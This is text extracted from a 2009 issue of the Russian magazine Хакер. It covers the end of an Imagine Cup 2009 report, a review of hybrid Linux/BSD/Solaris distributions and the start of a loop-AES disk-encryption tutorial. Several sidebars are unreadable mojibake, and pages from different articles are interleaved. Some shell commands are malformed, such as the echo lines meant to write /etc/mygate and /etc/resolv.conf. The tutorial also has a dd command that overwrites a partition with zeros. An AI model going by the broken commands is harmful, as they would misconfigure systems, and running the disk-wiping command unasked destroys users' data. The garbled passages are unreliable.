план выходит то, каким образом 
командам удается за короткое 
время показать себя: даже с очень 

крутым и сложным проектом 
легко потеряться и произвести 
неудачное впечатление на судей, 
если неправильно построить пре-
зентацию и неуверенно отвечать 
на вопросы. Плюс есть языковый 
аспект: все презентации, разуме-
ется, проходят на английском, и 
это является определенным огра-
ничением для многих команд.
После «закрытых» раундов опре-
деляются лидирующие команды, 
которые проходят в суперфинал, 
общедоступное соревнование.
К сожалению, команде Sound-
Streamers с проектом Exostream 
не удалось пройти далеко по 
турнирной сетке. Несмотря на 
то, что проект всем понравился, 
ребята не смогли убедить судей в 
глубокой связи своего проекта с 
темой соревнования — решением 
глобальных проблем человечест-
ва. Посчитав, что стриминг звука 
без проводов не является очень 
уж глобальной проблемой, судьи 
отсеяли проект .
Зато нижегородская команда с 
проектом ViVa показала очень вну-

шительный и достойный резуль-
тат: ребята вышли в суперфинал и 
по его результатам заняли второе 
место, пропустив вперед лишь 
румынскую команду SYTECH.

ТЫ МОЖЕШЬ 
ВЫИГРАТЬ
IMAGINE CUP 2010!
Второе место на мировом финале 
Imagine Cup – это отличный ре-
зультат, это очень престижно для 
любой страны. Но, в то же время, 
второе место это всегда второе 
место, это не победа. Пора бы уже 
и российской команде выиграть 
Imagine Cup! И хорошая новость 
тут в том, что ты тоже можешь быть 
в составе этой команды.
Конкурс Imagine Cup открыт для 
всех студентов, желающих про-
явить себя, реализовать свой та-
лант и свою целеустремленность. 
Самое главное – это энтузиазм, 
увлеченность и желание учиться 
новому. Для студента технического 
ВУЗа, особенно видящего свое 
будущее в разработке софта – это 
отличная возможность попро-

бовать свои силы, во-первых, в 
командной работе над реальным 
проектом, а во-вторых, в грамот-
ном его описании, презентации 
и позиционировании. Участие в 
таком конкурсе дает бесценные 
скиллы, которые 100% пригодятся 
в будущем.
Для участия в Imagine Cup нужно 
придумать интересную идею, сде-
лать прототип продукта, хорошо 
его описать и подать заявку до 
февраля 2010 года, после чего вы-
годно представить на региональ-
ном финале, после чего биться за 
единственную путевку в Польшу 
уже на российском финале.
Все подробности, ответы на любые 
вопросы, форум и все остальное 
можно найти на двух сайтах: 
imaginecup.ru и imaginecup.com.
Так же нелишним будет напом-
нить, что Imagine Cup – это не 
только Software Design. Сорев-
нования проводятся еще в куче 
других категорий и специальных 
номинаций, ознакомиться с кото-
рыми ты можешь по уже приведен-
ным ссылкам.  z

XÀÊÅÐ  09  /129/  09

SOFTWARE DESIGN
1 МЕСТО: SYTECH, Румыния
2 МЕСТО: Vital Lab, Россия
3 МЕСТО: Virtual Dreams, Бразилия

EMBEDDED DEVELOPMENT
1 МЕСТО: Wafree, Корея
2 МЕСТО: iSee, Китай
3 МЕСТО: Intellectronics, Украина

Призеры
IMAGINE CUP
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Обзор необычных *nix-дистрибутивов

SLACKWARE + PKGSRC ИЗ 
NETBSD = DRACO GNU/LINUX
Слака, любимая многими пользователями, 
все же неудобна с точки зрения новичка, как 
минимум, потому, что система управления 
пакетов оставляет желать лучшего. В начале 
2006 года два норвежца Stian Andreassen и Ole 
Andre Rodlie решили создать более удобную 
систему пакетов к этому дистрибутиву. Правда, 
спустя несколько месяцев кропотливой работы 
на проекте пришлось поставить крест — двум 
энтузиастам такая задача оказалась просто 

не под силу. Но Ole не опустил руки и начал 
прикручивать к Slackware систему управления 
пакетами pkgsrc, разрабатываемую в рамках 
проекта NetBSD (pkgsrc интересна тем, что 
работает с Free/Open/DragonFlyBSD, Linux, 
Solaris, QNX, IRIX, Mac OS X и даже виндой 
через «Службы Windows для UNIX», www.
microsoft.com/windows/sfu). Так появился 
Draco GNU/Linux.
В настоящее время в дистрибутиве доступно 
около 1000 «своих» пакетов. Все они с коман-
дами для установки перечислены на странице 

www.dracolinux.org/packages.html. Но основ-
ным источником приложений для Draco все же 
являются пакеты из NetBSD, коих в настоящее 
время ~7900.
«Дракон» распространяется в нескольких ва-
риантах — для сетевой установки (draco-boot), 
без GUI (draco) и с KDE 3.5.10 (draco-k3). Версии 
с XFCe и Fluxbox, разрабатываемые ранее, 
ныне недоступны. Поддерживается установка с 
CD, USB и харда.
Текущая стабильная версия 0.3.1 использует 
ядро 2.6.23 с оптимизацией под i486 платформу 

Существует достаточно операционок со свободными лицензиями — 
GNU/Linux, xBSD, OpenSolaris, но не все юниксоиды удовлетворены 
возможностями, заложенными разработчиками. Поэтому практичес-
ки с первых дней предпринимались попытки собрать удачные идеи и 
наработки в одном дистрибутиве. В итоге, на сегодня мы имеем целый 
ряд интересных гибридных систем.

UNIXOID
 АЛЕКСАНДР  «АК-47» КАЛАШНИКОВ  /  TUXODRIVER@YANDEX.RU / 

Нашествие мутантов

Linux + NetBSD = SSD/Linux

OpenSolaris + Ubuntu = Nexenta Core Platform

Ubuntu + Windows = andLinux

Debian с сердцем демона

Slackware + pkgsrc из NetBSD = Draco GNU/Linux



 083XÀÊÅÐ  09  /129/  09

Выбираем компоненты 
во время установки 

SSD/Linux

и распространяется только в варианте без GUI. 
Инсталлятор «Draco setup», кроме цвета (крас-
ный!), ничем не отличается от инсталлятора 
слаки. Привыкшим к спартанскому интерфейсу 
детища Патрика Фолькердинга разобраться 
будет просто. При помощи fdisk/cfdisk следует 
вручную создать раздел, подготовить и активи-
ровать своп (mkswap/swapon), а затем начать 
установку командой setup. Созданные по ходу 
процесса разделы можно отформатировать в 
ext2/ext3, ReiserFS, XFS и JFS. Предлагается 
семь групп пакетов (system, disk, devel, network, 
extra, drivers, firmware) с возможностью выбора 
индивидуальных приложений. Чтобы узнать, 
какие пакеты включены в группу, проще всего 
заглянуть в одноименный каталог на CD. Далее 
заводим учетную запись, ставим LILO и указы-
ваем сервисы для загрузки. Процесс установки 
и последующей загрузки системы проходит 
довольно быстро.
Дистрибутив по умолчанию включает ми-
нимум приложений. Все остальное поможет 
установить менеджер пакетов DracoPKG. 
Команды очень напоминают APT и просты для 
запоминания. Для поиска пакета вводим «dp 
search <name>», для установки — «dp install 
<package_name>», удаление производится 
командой «dp remove <package_name>», а по-
лучить информацию о пакете поможет «dp info 
<package_name>». Есть команды для аудита 
и обновления системы, работы с сервисами и 
гибернацией. Чтобы обновить систему, доста-
точно ввести:

# dp audit update

# dp audit system

# dp update system

# dp audit system

# lilo

LINUX + NETBSD = SSD/LINUX
Дистрибутив SSD/Linux (www.plathome.com) 
разрабатывается японской компанией 
Plat’Home и используется, в первую очередь, в 
качестве встроенной ОС для продаваемых ей 
мини-серверов OpenMicroServer и OpenBlockS. 
Сервачки поставляются в виде готовых реше-

ний, запакованных в герметичный корпус, кото-
рый приспособлен для работы в экстремальных 
условиях (рабочий диапазон температур окру-
жающей среды — от 0 до 50 С). Потребляет такое 
устройство всего ничего, около 8 Ватт энергии, 
и имеет просто нереальное время наработки 
на отказ — 48 лет. Таких характеристик удалось 
добиться, в том числе благодаря тому, что в 
системе используется SSD-накопитель.
По нынешним меркам системные требования 
просто смешные: i486 CPU, 8 Мб ОЗУ и 350 Мб 
свободного места на харде. Для сравнения 
взглянем на запросы Ubuntu 9.04 Netbook 
Remix: Intel Atom, 384 Мб ОЗУ и 1 Гб диск. Конеч-
но, это два разных дистрибутива, ориентирован-
ных на свои задачи, но пользователь SSD/Linux 
может самостоятельно «допилить» систему 
до нужного уровня «удобство/производитель-
ность». Собственно, адаптация под флеш-карты 
и нетребовательность к ресурсам и привлекает 
к SSD/Linux пользователей нетбуков, знающих, 
как собрать систему, и разочаровавшихся в 
производительности поставляемой с компью-
тером ОС.
Самая же главная необычность SSD/Linux 
состоит в том, что в нем сочетается ядро Linux 
2.6.х с базовым программным окружением и 
библиотеками из NetBSD, плюс реализована 
BSD-подобная конфигурация через /etc/rc.conf. 
Такой странный выбор сами разработчики никак 
не объясняют, кроме того, что они создают реше-
ния на основе обеих систем еще с девяностых и 
четко осознают достоинства и недостатки каж-
дой из них. Поэтому можно предположить, что 
все дело в моде. Так, использование торговой 
марки Linux, которая сегодня у всех на слуху, мо-
жет прибавить вес конечному продукту, а значит, 
привлечь покупателей. И не секрет, что ядро 
Linux развивается на порядок быстрее своих 
xBSD собратьев, нововведения здесь появля-
ются раньше, кроме того, для Linux поставляется 
больше драйверов (хотя часто это идет в ущерб 
стабильности). Использование же в качестве ок-
ружения NetBSD позволяет разработчикам SSD/
Linux выбрать лицензию, отличную от GNU GPL, 
и вносить в код системы закрытые патчи. Что, 
собственно, и сделано — SSD/Linux распростра-
няется под BSD-подобной лицензией.
Дистрибутив не содержит ничего лишнего, 
поэтому даже без GUI при наличии некоторых 
знаний использовать его очень просто. Для 

загрузки доступны установочный ISO (правда, 
на момент написания статьи для последней 
версии 0.5 его еще не было) или образ для 
VMware Player. После загрузки регистрируемся 
в консоли как root (без пароля), разбиваем хард 
при помощи fdisk и запускаем sysinst:

# sysinst

SSD/Linux 0.5-20090707/2.6.29 

Installer

Are you sure to install [y/N] ?

Setup Filesystem

После чего будет выведена таблица разделов 
с предлагаемыми точками монтирования. 
Чтобы изменить параметры раздела, следует 
ввести его номер (он указан в первой позиции 
таблицы). Раздел, который сейчас редактиру-
ется, помечается значком ‘>’. Для перехода к 
следующему пункту нажимаем «x». Выбираем 
букву (a,c,f,m,b), соответствующую нужному 
действию:

a. Toggle use this partition — èñ-

ïîëüçîâàòü ýòîò ðàçäåë;

c. Toggle mke2fs/mkswap with fsck — 

çàïóñòèòü mke2fs/mkswap ñ ïðîâåðêîé 

fsck;

f. Toggle fs type ext2/ext3 — èçìå-

íèòü òèï ôàéëîâîé ñèñòåìû ext2 íà 

ext3 è íàîáîðîò;

m. Enter/Change mount point — èçìå-

íèòü òî÷êó ìîíòèðîâàíèÿ;

b. Change block size — èçìåíèòü ðàç-

ìåð áëîêà.

По окончании настройки разделов диска будет 
предложено указать активный раздел. Подтвер-
дить установки можно буквой «t». Следующее 
меню предлагает выбрать устанавливаемые 
компоненты. По умолчанию на хард копиру-
ются: ядро, базовая система, компиляторы и 
маны. Если нужны исходники, жмем «8» и «х», 
чтобы перейти дальше. Указываем источник 
установки, по умолчанию CD-ROM, но если 
будут обнаружены сетевые карты, то они также 
появятся в списке. Начинаем установку. После 
того, как файлы скопируются, дважды вводим 
пароль рута. Вот и все. Перечень утилит, вклю-
ченных в дистрибутив, можно найти на странице 
«Command List» (www.plathome.com/support/
ssdlinux/command.html). Дальнейшие действия 
очень просты. Получаем сетевые настройки, 
если в сети используется DHCP-сервер:

Программа установки Draco 
Linux создана явно под 
влиянием Slackware
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# dhclient eth0

Чтобы указать статический IP, редактируем ifconfig.ethX:

# echo "inet 192.168.1.100 netmask 

255.255.255.0 broadcast 192.168.1.255" > /etc/

ifconfig.eth0

Теперь шлюз и адрес DNS-сервера:

# echo "192.168.1.1" > cat /etc/mygate

# echo "nameserver 192.168.1.1" /etc/resolv.

conf

Как вариант, можно занести все эти настройки в /etc/rc.conf. 
Для примера установим веб-сервер thttpd (www.acme.com/
software/thttpd):

# cd /usr/src/contrib/thttpd

# bmake && bmake install

Дистрибутивный файл будет автоматически скачан с ftp://ftp.
plathome.co.jp/pub/ssdlinux/0.5-20090707/distfiles, распако-
ван, скомпилирован и установлен.
Собрать роутер (как вариант, почтовый, веб, DHCP, 
SQL, VoIP, LDAP, VPN сервер) на старом компьютере 
с помощью SSD/Linux — минутное дело. Единст-
венный минус дистрибутива — малое количество 
драйверов, встроенных в дефолтное ядро, а значит, 
без пересборки не обойтись. К сожалению, на сайте 
проекта по поводу поддержки оборудования ничего 
не сказано. «Железо» приходится подбирать методом 
научного тыка.

OPENSOLARIS + UBUNTU = 
NEXENTA CORE PLATFORM
Проект Nexenta Core Platform (www.nexenta.org) начат более 
двух лет назад с целью создания свободной ОС на базе 
OpenSolaris, которую можно было бы использовать как на 
серверах, так и десктопах. NCP также является гибридом; на 
этот раз сочетание таково — ядро OpenSolaris и программное 
окружение Ubuntu 8.04. Для обычного пользователя подоб-
ный симбиоз интересен тем, что можно изучать технологии 
OpenSolaris (в NCP имеется полноценная поддержка файло-

вой системы ZFS, изолированных зон, DTrace и т.д.), работая 
в привычной среде и не испытывая недостатка в утилитах. 
Размер репозитория программ, созданного на базе убунтовс-
кого «Hardy Heron», — более 13 тысяч пакетов.
Текущая версия 2.0 основана на сборке OpenSolaris build 104+ с не-
которыми критическими исправлениями. Дистрибутив включает в 
себя последние на момент релиза версии компонентов: X.Org, dpkg/
APT, GCC, Binutils, Coreutils, Perl, Python, Ruby, Qt и GTK+. Из ряда 
нововведений стоит отметить появление поддержки SMF (Service 
Management Facility) для таких серверных приложений, как Apache, 
MySQL, PostgreSQL, Exim. Служба SMF является заменой старичку 
init и обеспечивает параллельный запуск служб с поддержкой 
зависимостей, автоматический перезапуск при сбое, возможность 
работы от непривилегированной учетной записи и многое другое.
NCP 2.0 распространяется в виде ISO-образа размером 506 
Мб. Установка возможна на любой x86 компьютер, имеющий 
256 Мб ОЗУ. Кроме жесткого диска, поддерживается установка 
на USB-флешку, о чем после загрузки рапортует «NexentaCore 
Installer». Сам инсталлятор обладает псевдографическим 
интерфейсом, но для подготовленного пользователя про-

Linux 
Unified 
Kernel
Ïîìèìî òîãî, ÷òî Windows 
ó÷àò ïîíèìàòü Linux ïðè 
ïîìîùè coLinux, åñòü è 
ïðîåêòû ñ îáðàòíîé çàäà-

÷åé. Êðîìå âñåì èçâåñòíî-
ãî Wine (www.winehq.org), 
ïðåäñòàâëÿþùåãî ñîáîé 

«ýìóëÿòîð» Windows API, 
ñóùåñòâóåò åùå îäèí íå 

ìåíåå èíòåðåñíûé ïðîåêò 
— Linux Unified Kernel 
(LUK èëè Longene, longene.

sf.net). Çàäà÷à LUK — 
îáåñïå÷èòü âîçìîæíîñòü 
èñïîëüçîâàíèÿ â Linux 
äðàéâåðîâ è ïðèëîæåíèé, 
íàïèñàííûõ äëÿ Windows, 

ïðè÷åì ðåçóëüòàò — áîëü-
øå ÷åì ýìóëÿöèÿ. Êîìàíäà 
ðàçðàáîò÷èêîâ, ñïîíñèðóå-

ìàÿ êèòàéñêîé êîìïàíèåé 

Insigma Technology Co., 
äîëæíà îáåñïå÷èòü ïîëíóþ 
áèíàðíóþ ñîâìåñòèìîñòü 

ïðîãðàìì è íàó÷èòü Linux 
ïîääåðæêå âñåõ îñíîâíûõ 
ìåõàíèçìîâ Windows (ñèñ-

òåìíûå âûçîâû, ðååñòð, 
ìåõàíèçìû óïðàâëåíèÿ 
ïðîöåññàìè è âèðòóàëü-
íîé ïàìÿòüþ). Â êà÷åñòâå 
îñíîâû Win32 API èñïîëü-

çîâàí êîä Wine, ReactOS, 
NDISwrapper è Kernel-
Win32. Ïðè÷åì, ó÷èòûâàÿ, 

÷òî LUK ÿâëÿåòñÿ âñå-òàêè 
íàäñòðîéêîé íàä Wine, îí 
ñëåäóåò åãî âîçìîæíîñòÿì. 
Äðóãèìè ñëîâàìè, âñå, ÷òî 

äîñòóïíî â Wine, ìîæíî 
ñäåëàòü ÷åðåç LUK (à åñëè 
÷åãî-òî íåò, ïðèäåòñÿ ïî-

äîæäàòü). Ðåàëèçîâàí LUK 
â âèäå ìîäóëåé è ïàò÷åé 
ê ÿäðó Linux. Ïðèìå÷à-
òåëüíî, ÷òî ðàçìåð ñàìèõ 
ïàò÷åé ñîâñåì íåáîëüøîé.
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• SSD/Linux поддер-
живает три аппарат-
ные архитектуры: 
i386, Mipsel 
и PowerPC.

• Мини-сервера 
OpenMicroServer 
и OpenBlockS могут 
быть использованы 
в качестве Mail/Web/
SQL/VoIP/LDAP/VPN/
DHCP-сервера или 
роутера.

• Первоначальное 
название Nexenta 
Core Platform — 
NexentaOS.

• В базовую поставку 
Nexenta Core 
Platform 2.0 включе-
ны текстовый редак-
тор vim, консольный 
оконный менеджер 
screen и утилита 
apt-clone, являюща-
яся надстройкой над 
apt-get.

• Учитывая малое 
количество докумен-
тации по NCP, можно 
сказать, что дистри-
бутив ориентирован 
больше на специа-
листов или желаю-
щих таковыми стать, 
чем на новичков.

• MirOS BSD (https://
www.mirbsd.org) ос-
нована на OpenBSD 
и NetBSD.

• Проект Gentoo/
FreeBSD (Gentoo/
FBSD, G/FBSD, www.
gentoo.org/proj/en/
gentoo-alt/bsd/fbsd), 
не успев получить ста-
тус официального, был 
заморожен разработ-
чиками из-за несов-
местимости лицензий. 
Хотя на зеркалах все 
необходимое для его 
установки есть.

info

INFO

Фишка дистрибутива Draco — DracoPKG

То ли Windows, то ли Linux... Вот такой он andLinux



цесс установки трудностей не составит. Указываем раскладку 
клавиатуры, регион, выбираем диск и размечаем. Доступен 
вариант разметки автоматом. Далее дистрибутив распа-
ковывается на хард, вводим два раза пароль рута, заводим 
обычного пользователя и настраиваем сеть. Все!
После установки в системе минимум приложений, но, учи-
тывая наличие dpkg/apt, это не проблема. Например, чтобы 
получить рабочую среду на базе XFce, пишем:

# apt-get update

# apt-get install xfce4 xorg

Необходимость допиливания системы после установки не 
всем пришлась по вкусу. В результате появился польский 
проект StormOS (www.stormos.org), первый релиз которого 
получил название «Hardy Hail». StormOS предлагает деск-
топ-вариант NCP, работающий из коробки. После установки 
пользователь получает рабочий стол XFСe 4 с большим коли-
чеством приложений (Abiword, Gnumeric, Gimp, Rhythmbox, 
Firefox, Synaptic и т.п.).

UBUNTU + WINDOWS = ANDLINUX
Дистрибутив andLinux (www.andlinux.org) создан на базе 
Ubuntu. Возможно, ничего необычного в этом и не было бы 
(решений, базирующихся на Ubuntu, сегодня предостаточно, 
и удивить ими кого-либо сложно), но дело в том, что andLinux 
предназначен для запуска из-под 32-битных версий Windows, 
построенных на ядре NT (2000/XP/2003/Vista/Se7en). Если 
быть точнее, то дистрибутив полностью интегрирует прило-
жения Linux во враждебную для пингвина среду Windows. 
Пользователь получает все Linux-приложения без обычного 
рабочего стола, а утилиты из разных сред могут взаимодейс-
твовать между собой. Возможна доустановка приложений при 
помощи APT/Synaptic.
Основой andLinux послужил нашумевший после своего появ-
ления в 2004 году проект Cooperative Linux (www.colinux.org). 
Он представляет собой специальный драйвер, позволяющий 
запускать ядро Linux одновременно с другой ОС на одной и 
той же машине, без использования средств виртуализации. 
Работает сoLinux в своем адресном пространстве; драйвер 
по мере необходимости «переключает компьютер» между 
coLinux и Windows. Производительность в итоге на порядок 
выше, чем при использовании виртуальной машины, и 
практически сравнима с реальным запуском приложения 
в Linux. Остальные составляющие coLinux: Xming (www.
straightrunning.com/XmingNotes) — это X-сервер для 
Windows, собранный при помощи MinGW (нэйтивный порт 
GCC под Windows, www.mingw.org), и кроссплатформенный 
звуковой сервер PulseAudio (www.pulseaudio.org).
Системные требования andLinux невысоки. Объем ОЗУ 
определяется используемой версией Windows. Так для 

запуска в Win2k/XP/2k3 достаточно всего 128 Мб (лучше 192 
Мб). Диск должен быть отформатирован в NTFS (FAT32 не 
поддерживает файлы более 4 Гб). В настоящее время проект 
предлагает две версии дистрибутива: с рабочим столом KDE 
и XFCe; для установки понадобится, соответственно, 4.5 и 2.5 
Гб свободного места.
Дистрибутив доступен в виде exe-шника (дожили), его установка 
стандартна для Windows. По ходу предстоит указать, сколько 
памяти можно отдать под coLinux. Затем идут настройки Х-сер-
вера, например, можно выбрать специфическое разрешение, 
но лучше ничего не трогать и оставить, как есть. Включаем звук, 
выбираем один из шести вариантов запуска, указываем логин и 
пароль для входа, метод доступа к разделам Windows. Далее все 
просто: ты получаешь доступ к приложениям Linux из Windows, 
запуская их по мере необходимости. Если чего-то не хватает, к 
твоим услугам Synaptic. Пиктограммы с Linux приложениями 
размещаются на панели задач, рядом с программами Windows. 
В меню появляются дополнительные пункты, позволяющие 
открыть каталог при помощи файлового менеджера (Thunar в 
XFCe), некоторые типы файлов сопоставляются Linux-прило-
жениям. Так что, andLinux — хороший повод познакомиться с 
утилитами Unix или перейти на GNU софт.
Кроме andLinux, на основе технологий coLinux построены 
дистрибутив Topologi-linux (topologi-linux.sf.net), использую-
щий в качестве базовой системы слаку, и свободная система 
с открытым кодом ReactOS (www.reactos.org), разработчики 
которой планируют создать полноценную замену WinNT.

DEBIAN С СЕРДЦЕМ ДЕМОНА
История знает несколько попыток скрестить Linux и BSD-
системы в разных комбинациях, но не все они удачны. 
Особенно в части экспериментов популярен Debian — Debian 
GNU/NetBSD (www.debian.org/ports/netbsd), Debian GNU/
kFreeBSD (www.debian.org/ports/kfreebsd-gnu) и Debian GNU/
FreeBSD. Последний проект приказал долго жить, поэтому о 
нем говорить не будем. Первые два в качестве ядра исполь-
зуют соответственно кернелы из NetBSD и FreeBSD (буква 
«k» в kFreeBSD как раз и обозначает kernel, чтобы отличать от 
Debian GNU/FreeBSD). Debian GNU/NetBSD наилучшим об-
разом подходит для запуска на экзотических платформах, не 
поддерживаемых Linux’ом (NetBSD славится своей работос-
пособностью практически на любом «железе»). Что касается 
Debian GNU/kFreeBSD, то после 10-ти лет разработки проект 
особых успехов не имел, и результат, можно сказать, плачев-
ный. Есть проблемы с определением оборудования, мало 
документации, работы ведутся вяло. Если все-таки желаешь 
познакомиться с Debian GNU/kFreeBSD, присмотрись к Ging 
(Ging Is Not Ging, glibc-bsd.alioth.debian.org/ging), который 
предлагает LiveCD-образ этого дистрибутива.  z
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Сайты проектов:
SSD/Linux — www.
plathome.com.
Draco — www.
dracolinux.org.
Nexenta Core 
Platform — www.
nexenta.org.
andLinux — www.
andlinux.org.

links

HTTP://WWW

Инсталлятор Nexenta Core Platform хоть и не балует графикой, но достаточно прост 
в использовании

Благодаря APT, 
довести Nexenta 
Core Platform до 
нужной кон-
диции очень 
просто
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Д
ля Linux в разные времена было 
разработано множество различных 
средств шифрования дисковых 
разделов. С ходу можно вспомнить 

несколько проектов: коммерческий TrueCrypt, 
показывающий отличную производительность 
в Windows, но отстающий ото всех остальных в 
Linux; встроенный в ядро и постоянно критикуе-
мый за нестойкость dm-crypt; элегантный, нето-
ропливый (поскольку выполняется в окружении 
пользователя и работает поверх файловой 
системы) encfs. В стороне от списка зачастую 
оказывается один из старейших, производи-
тельных и надежных шифрующих Linux-драйве-
ров — loop-AES.

ДРАЙВЕР LOOP-AES
Сторонний драйвер loop-AES представляет 
собой, как нетрудно догадаться, модификацию 
стандартного Linux-драйвера loop.ko. Того само-
го, который используется для так называемого 
кольцевого подключения различных сущностей 
в качестве виртуальных блочных устройств (на-
пример, ISO-образов). В отличие от оригинала, 
создающего тонкую прослойку между чем-либо 
и виртуальным устройством, loop-AES еще и 
производит модификацию пропускаемых через 
него данных, шифруя записываемую или читае-
мую из устройства информацию. Это делает его 
универсальной системой шифрования любой 
информации, будь то файлы (подключенные с 

помощью «mount -o loop»), дисковые разделы, 
RAID-тома, своп-области, флеш-брелки и т.п. 
Шифруя раздел с помощью этого драйвера, 
пользователь получает что-то вроде переход-
ника в виде loop-устройства. Без него получить 
доступ к реальному устройству невозможно.
Подготовленный читатель может сказать, что 
loop-AES просто «не нужен», потому как ваниль-
ное ядро уже давно включает в себя драйвер, 
способный шифровать любые данные (тот самый 
dm-crypt), да еще и поддерживающий свыше 
десятка различных алгоритмов. И будет не прав. 
Конек loop-AES — в непревзойденной скорости 
работы, многоуровневой системе безопасности 
и интеграции со стандартными утилитами GNU/
Linux (gpg, mount). Jari Ruusu, автор loop-AES, 
неоднократно указывал на недостатки других 
систем шифрования, доступных в Linux, благо-
даря чему были исправлены серьезные пробле-
мы безопасности TrueCrypt и dm-crypt. Даже 
сегодня, когда многие из проблем dm-crypt, на 
которые, не смущаясь, показывали пальцем 
эксперты по безопасности, уже решены, loop-
AES так и продолжает занимать место наиболее 
безопасного и производительного решения.
Основная причина, по которой loop-AES часто 
забывают упомянуть и боятся с ним связы-
ваться, заключается в нетривиальном способе 
установки, включающем в себя необходимость 
перекомпиляции ядра и модификации ряда 
системных утилит. Во многом это объясняется 

отсутствием внятных пошаговых руководств 
как в рунете, так и в западных источниках. Мы 
постараемся восполнить информационный 
пробел и в деталях раскроем тонкости установки 
и использования драйвера loop-AES.

ПОДГОТОВКА К УСТАНОВКЕ
Пакет loop-AES состоит из четырех компонентов: 
модифицированного драйвера loop.ko, набора 
патчей для системных утилит, патча для ядра 
Linux и коллекции модулей, обеспечивающих 
поддержку алгоритмов шифрования Blowfish, 
Serpent и Twofish. Первые два компонента нам 
понадобятся в любом случае, а вот третий и 
четвертый совсем не обязательны. Во-первых, 
драйвер можно собрать и отдельно от ядра, а во-
вторых, используемый по умолчанию алгоритм 
AES — один из лучших. Менять его на какой-то 
другой не имеет смысла.
В качестве подопытной системы будем исполь-
зовать дистрибутив Ubuntu 9.04, построенный на 
ядре 2.6.28.9, но главное — учитывать номера вер-
сий необходимого ПО и следовать инструкциям.
Для начала получим исходники ядра Linux (от 
2.0 до 2.6.30, драйвер работает с любым из них). 
Для Ubuntu выполняем приведенную ниже 
последовательность действий; для других 
дистрибутивов — устанавливаем необходимый 
для сборки ядра комплект пакетов, переходим 
в каталог /usr/src и с помощью wget получаем 
ядро с kernel.org.
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Шифрование диска в Linux 
с помощью loop-AES

Шифруемся 
помаленьку

В нашем повсеместно мобилизованном мире поте-
рять информацию проще простого: выронил флешку 
из кармана, украли телефон, забыл ноутбук. Все это 
случается ежедневно и может сильно подпортить 
жизнь владельцу устройства, если он заранее не по-
заботился о защите важной информации. А защитить 
ее можно только двумя способами: надежно спрятать 
или зашифровать.

UNIXOID
 ЕВГЕНИЙ  ЗОБНИН  /  ZOBNIN@GMAIL.COM / 
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# apt-get install linux-source

# apt-get install build-essential 

ncurses-dev fakeroot

# apt-get install kernel-package

Распакуем исходники, скопируем конфигу-
рационный файл текущего ядра (он может 
называться и по-другому) и запустим конфи-
гуратор:

# cd /usr/src

# tar -xjf linux-source-2.6.28.tar.

bz2

# cp /boot/config-2.6.28-11-generic 

./linux-source-2.6.28/.config

# cd ./linux-source-2.6.28

# make menuconfig

Единственное, что мы должны сделать — убрать 
из ядра поддержку драйвера loop, чтобы он 
не конфликтовал с loop-AES: Device Drivers 

 Block devices  Loopback device support  
n (или CONFIG_BLK_DEV_LOOP=n в конфи-
гурационном файле). Также добавим метку к 
новому ядру, чтобы дать установщику loop-AES 
понять, что в текущем ядре он нам не нужен, а 
нужен в новом: General Setup  Local version  
«-noloop» (CONFIG_LOCALVERSION=-noloop). 
Если же ты намерен использовать loop-AES для 

шифрования корневого раздела, то убедись, 
что опция General Setup  Initial RAM filesystem 
and RAM disk (initramfs/initrd) support (CONFIG_
BLK_DEV_INITRD) включена. И вкомпилируй 
необходимые IDE/SATA драйвера и поддержку 
файловой системы корневого раздела в ядро 
(не модулями!). Собираем и устанавливаем 
ядро (рецепт для Ubuntu):

# make-kpkg clean

# make-kpkg -initrd kernel_image 

kernel_headers

# cd ..

# dpkg -i linux-image-2.6.28.9-

noloop*

Рецепт для всех остальных дистрибутивов:

# make

# make modules_install

# cp arch/i386/boot/bzImage /boot/

vmlinuz-2.6.28.9-noloop

Редактируем /boot/grub/grub.conf, чтобы 
показать загрузчику новое ядро (для Ubuntu не 
требуется), и отправляем комп на перезагрузку.

УСТАНОВКА
Загрузившись с новым ядром, приступаем к 
установке драйвера loop-AES:

# cd /usr/src

# wget http://loop-aes.sourceforge.

net/loop-AES-latest.tar.bz2

# tar -xjf loop-AES-latest.tar.bz2

# cd loop-AES-v3.2g

# make clean

# make LINUX_SOURCE=/usr/src/linux-

source-2.6.28

Подчищаем исходники ядра:

# cd /usr/src/linux-source-2.6.28

# make clean

И переходим к сборке и установке модифициро-
ванных утилит mount, umount, losetup, swapon, 
swapoff. Все они распространяются в пакете 
util-linux, но в стандартном виде не подходят 
для управления шифрованными дисковыми 
разделами и swap-областями. Поэтому их 
придется пропатчить:

# cd /usr/src

# wget http://www.kernel.org/pub/

linux/utils/util-linux-ng/v2.15/

util-linux-ng-2.15.1.tar.bz2

# tar -xjf util-linux-ng-2.15.1.tar.

bz2

# cd util-linux-ng-2.15.1

# patch -p1 </usr/src/loop-AES-

v3.2g/util-linux-ng-2.15.1.diff

# CFLAGS="-O2 -Wall" ./configure

# make SUBDIRS=mount

На момент написания статьи уже существовал 
пакет util-linux-ng версии 2.16, но я выбрал 
2.15.1 просто потому, что версия loop-AES, 
доставшаяся мне, включала патч только для 

Процесс тестирования 
loop-AES

Галочка, ради кото-
рой приходится пере-

собирать ядро
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util-linux-ng-2.15.1. Это очень важный момент, 
который нужно учитывать во время патчинга 
утилит.
После того, как утилиты будут собраны, уста-
новим их в систему (весь пакет устанавливать 
опасно, поэтому мы вручную скопируем только 
необходимые утилиты):

# cd mount

# install -m 4755 -o root mount umount 

/bin

# install -m 755 losetup swapon /sbin

# rm -f /sbin/swapoff

# ln -s /sbin/swapon /sbin/swapoff

Наконец, протестируем loop-AES на работоспо-
собность:

# cd /usr/src/loop-AES-v3.2g

# make tests

Если в самом конце на экране появится сообще-
ние *** Test results ok ***, значит, теперь у нас 
есть готовый к работе loop-AES. Иначе все шаги 
установки придется повторить.

СЦЕНАРИЙ 1. ШИФРОВАНИЕ 
SWAP-РАЗДЕЛА
Шифрование swap-раздела — процедура 
необязательная, но чрезвычайно важная. 
Дело в том, что текущие данные утилиты gpg, 
используемой loop-AES для хранения и защиты 
ключей шифрования, не застрахованы от 
попадания в область подкачки. Это способно 
привести к тому, что при определенных обсто-
ятельствах новый владелец твоего ноутбука 
сможет пропарсить swap на наличие ключей, 
найти их и прочитать зашифрованный раздел 
с важными данными. Чтобы избежать такого 
позора, достаточно просто настроить шифро-
вание swap-раздела с помощью одноразовых 
ключей. Для этого отключаем swap (swapoff 
-a) и добавляем в /etc/fstab примерно такую 
запись:

/dev/hda1 none swap sw,loop=/dev/

loop1,encryption=AES128 0 0

После этого забиваем swap-раздел нулями и 
инициализируем его:

# dd if=/dev/zero of=/dev/hda1 

bs=64k conv=notrunc

# mkswap /dev/hda1

Все, подключаем зашифрованный swap (будет 
шифроваться с помощью случайных ключей при 
